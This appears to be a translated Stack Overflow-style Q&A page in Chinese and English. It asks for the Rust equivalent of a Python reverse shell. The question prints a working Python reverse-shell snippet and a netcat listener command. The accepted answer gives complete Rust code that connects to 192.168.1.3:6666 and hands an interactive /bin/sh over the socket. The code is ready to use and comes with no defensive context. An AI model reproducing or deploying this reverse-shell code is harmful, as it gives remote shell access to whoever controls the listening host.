用 Python 编写的反向 shell 脚本的 Rust 等价物是什么? [英] What is the Rust equivalent of a reverse shell script written in Python?
本文介绍了用 Python 编写的反向 shell 脚本的 Rust 等价物是什么?的处理方法,对大家解决问题具有一定的参考价值,需要的朋友们下面随着小编来一起学习吧!
问题描述
Python 中的反向 shell 脚本通常如下所示:
A reverse shell script in Python normally looks something like this:
import socket, subprocess, os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect((\"192.168.1.3\", 6666));
os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);
p=subprocess.call([\"/bin/sh\", \"-i\"]);
我正在尝试用 Rust 复制这个过程:
I am trying to duplicate this process with Rust:
let mut stream = std::net::TcpStream::connect("192.168.1.3:6666").unwrap();
我只能通过 TCP 连接到我的主机,使用 netcat (nc -l -p 6666
) 进行监听.如果我理解正确,我需要通过套接字重定向标准输入、输出和错误,然后以某种方式调用"/bin/sh
.
I only got as far as getting a TCP connection to my host machine, listening with netcat (nc -l -p 6666
). If I understand correctly, I need to redirect standard input, output, and error, through the socket and then somehow "call" /bin/sh
.
如何在 Rust 中编写这个反向 shell 脚本?
How do I write this reverse shell script in Rust?
推荐答案
Rust 中 Python 反向 shell 的等效项是:
The equivalent of your Python reverse shell in Rust would be:
use std::net::TcpStream;
use std::os::unix::io::{AsRawFd, FromRawFd};
use std::process::{Command, Stdio};
fn main() {
let s = TcpStream::connect("192.168.1.3:6666").unwrap();
let fd = s.as_raw_fd();
Command::new("/bin/sh")
.arg("-i")
.stdin(unsafe { Stdio::from_raw_fd(fd) })
.stdout(unsafe { Stdio::from_raw_fd(fd) })
.stderr(unsafe { Stdio::from_raw_fd(fd) })
.spawn()
.unwrap()
.wait()
.unwrap();
}
这篇关于用 Python 编写的反向 shell 脚本的 Rust 等价物是什么?的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持IT屋!
查看全文